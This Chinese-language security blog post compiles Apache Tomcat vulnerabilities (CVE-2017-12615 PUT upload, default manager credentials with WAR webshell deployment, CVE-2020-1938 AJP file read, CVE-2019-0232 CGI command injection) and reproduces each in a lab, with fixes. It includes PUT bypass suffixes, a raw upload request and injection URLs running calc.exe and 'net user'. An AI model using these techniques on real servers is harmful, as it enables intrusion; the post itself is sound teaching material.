中间件安全|Tomcat漏洞汇总

admin 2025年1月20日12:43:26评论15 views字数 4048阅读13分29秒阅读模式
0x0 声明

    由于传播、利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人承担,Cyb3rES3c及文章作者不承担任何责任。如有侵权烦请告知,我们将立即删除相关内容并致歉。请遵守《中华人民共和国个人信息保护法》、《中华人民共和国网络安全法》等相关法律法规。

0x1 Tomcat概述

    Tomcat是一个开源而且免费的isp服务器,默认端口是8080,属于轻量级应用服务器。它可以实现JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。

0x2 CVE-2017-12615 PUT文件上传

漏洞描述

    当Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

    当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产生,(需要允许put请求),攻击者可以利用PUT方法通过精心构造的数据包向存在漏洞的服务器里面上传 jsp一句话文件,从而造成远程命令执行、Getshell等。

影响范围

Apache Tomcat 7.0.0-7.0.79Apache Tomcat 8.5.19

环境搭建

cd vulhub/tomcat/CVE-2017-12615docker-compose up -d

可以看到 readonly 的值被设置为 false

中间件安全|Tomcat漏洞汇总

漏洞复现

访问Web服务 http://192.168.111.128:8080/

在 Title 中可以看到 Tomcat 版本号:8.5.19,存在 PUT 文件上传漏洞

中间件安全|Tomcat漏洞汇总

默认使用 PUT <filename>.jsp 是失败的,需要 bypass,下面是三种 bypass 方法

PUT /<filename>.jsp/PUT /<filename>.jsp%20PUT /<filename>.jsp::$DATA

手工利用需要请求两次,第一次请求,返回 201 状态码,这个请求可以无响应体部分;PUT 再次请求该路径,返回 204 响应,这个过程会更新路径对应的文件。

PUT/shell.jsp/HTTP/1.1Host: 192.168.111.128:8080User-Agent: Mozilla/5.0 (WindowsNT10.0Win64; x64; rv:57.0Gecko/20100101 Firefox/57.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests1Content-Length849

第一次请求响应状态码为 201,没有响应体

中间件安全|Tomcat漏洞汇总

再次请求,响应体的状态码变成了 204

中间件安全|Tomcat漏洞汇总

在浏览器中访问时可以看到请求体解析后的内容

注:在浏览器中访问时,请求路径需要将 JSP 文件夹后的过滤字符去掉!

中间件安全|Tomcat漏洞汇总

这里就可以证明存在 PUT 文件上传漏洞。

上传 WebShell

中间件安全|Tomcat漏洞汇总

蚁剑连接 Webshell

中间件安全|Tomcat漏洞汇总

root权限

中间件安全|Tomcat漏洞汇总

修复建议

设置 conf/web.xml 文件中 readonly 的值为 true,即不允许执行 DELETE、PUT 操作。如果业务上不使用 PUT 方法,可以禁用 PUT 方法并重启 Tomcat 服务。升级 Tomcat 的版本。
0x3 后台弱口令+文件上传

漏洞描述

    在Tomcat8环境下默认进入后台的密码为 tomcat/tomcat,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令。

影响范围

全版本

环境搭建

cd vulhub/tomcat/tomcat8docker-compose up -d

漏洞复现

访问后台管理地址 

http://192.168.111.128:8080/manager/html

tomcat 默认用户名/密码:tomcat/tomcat

中间件安全|Tomcat漏洞汇总

在 WAR file to deploy 中上传文件

中间件安全|Tomcat漏洞汇总

WebShell 构造流程:将 WebShell 写入 JSP 文件中,压缩为 zip 文件,然后修改 zip 文件后缀名为 .war,上传 .war 文件。

访问 WebShell,访问路径

http://<ip/domain>:8080/<war文件的文件名不包含后缀名)>/<webshell文件名>.jsp

http://192.168.111.128:8080/shell/shell.jsp

中间件安全|Tomcat漏洞汇总

蚁剑连接 WebShell

中间件安全|Tomcat漏洞汇总

修复建议

后台管理密码设置为强密码。部署应用程序时,使用较低权限的用户。
0x4 CVE-2020-1938 任意文件读取

漏洞描述

    由于Tomcat AJP协议设计上的缺陷,攻击者通过Tomcat AJP Connector 可以读取或包含Tomcat上所 有Webapp⽬录下的任意⽂件,例如: 可以读取webapp配置⽂件或源码⽂件。 此外如果⽬标应⽤有⽂件上传的功能情况下,配合为⽂件包含漏洞利⽤GetShell。

影响范围

Apache Tomcat 6Apache Tomcat 7 < 7.0.100Apache Tomcat 8 < 8.5.51Apache Tomcat 9 < 9.0.31

环境搭建

cd vulhub/tomcat/CVE-2020-1938docker-compose up -d

漏洞复现

使用 nmap 扫描发现 AJP 协议

中间件安全|Tomcat漏洞汇总

利用脚本读取WEB-INF/web.xml文件

脚本地址:https://github.com/0nise/CVE-2020-19387

中间件安全|Tomcat漏洞汇总

修复建议

临时/永久禁用 AJP 协议端口,在 conf/server.xml 配置文件中注释掉:<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />配置 AJP 配置中的 secretRequired 和 secret 属性来限制认证。下载 Tomcat 最新版本。
0x5 CVE-2019-0232

漏洞描述

    该漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入影响。

    该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数,但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用。

影响范围

Apache Tomcat 9.0.0.M1 - 9.0.17Apache Tomcat 8.5.0 - 8.5.39Apache Tomcat 7.0.0 - 7.0.93

环境搭建

vulhub 中没有 CVE-2019-0232 的环境,需要手动配置环境。

环境信息如下:

Windows11

Tomcat 9.0.17

在Tomcat的 conf/web.xml 中找到 CGIServlet 部分,去掉注释

中间件安全|Tomcat漏洞汇总

然后在 servlet 中添加配置

<servlet><servlet-name>cgi</servlet-name><servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class><init-param><param-name>cgiPathPrefix</param-name><param-value>WEB-INF/cgi-bin</param-value></init-param><init-param><param-name>enableCmdLineArguments</param-name><param-value>true</param-value></init-param><init-param><param-name>executable</param-name><param-value></param-value></init-param><load-on-startup>5</load-on-startup></servlet>

需要修改 cgi 的路径,修改后的路径如下

中间件安全|Tomcat漏洞汇总

然后在 conf/web.xml 中启用 cgi 的 servlet-mapping(删除注释)

中间件安全|Tomcat漏洞汇总

然后在 conf/content.xml 中添加privileged="true"属性,否则没有权限

中间件安全|Tomcat漏洞汇总

在 webappsROOTWEB-INF下创建 cgi-bin目录,注意:目录名称一定和 web.xml 文件中的目录名保持一致。

中间件安全|Tomcat漏洞汇总
中间件安全|Tomcat漏洞汇总

在 cgi-bin目录下创建一个 bat 文件

文件内容:1

中间件安全|Tomcat漏洞汇总

重启 tomcat

中间件安全|Tomcat漏洞汇总

漏洞复现

虚拟机中访问 tomcat

中间件安全|Tomcat漏洞汇总

访问 bat 文件

中间件安全|Tomcat漏洞汇总

添加参数

?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

完整的URL

http://192.168.235.9:8080/cgi-bin/shell.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

访问之后在物理主机 windows11 中启动了计算器

中间件安全|Tomcat漏洞汇总

查看账户信息

http://192.168.235.9:8080/cgi-bin/shell.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user
中间件安全|Tomcat漏洞汇总

修复建议

禁用enableCmdLineArguments参数。在conf/web.xml中覆写采用更严格的参数合法性检验规则。升级Tomcat到9.0.17以上版本。

如果想要及时了解更多内容,请关注 Cyb3rES3c微信公众号!

原文始发于微信公众号(Cyb3rES3c):中间件安全|Tomcat漏洞汇总

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月20日12:43:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   中间件安全|Tomcat漏洞汇总https://cn-sec.com/archives/3649915.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息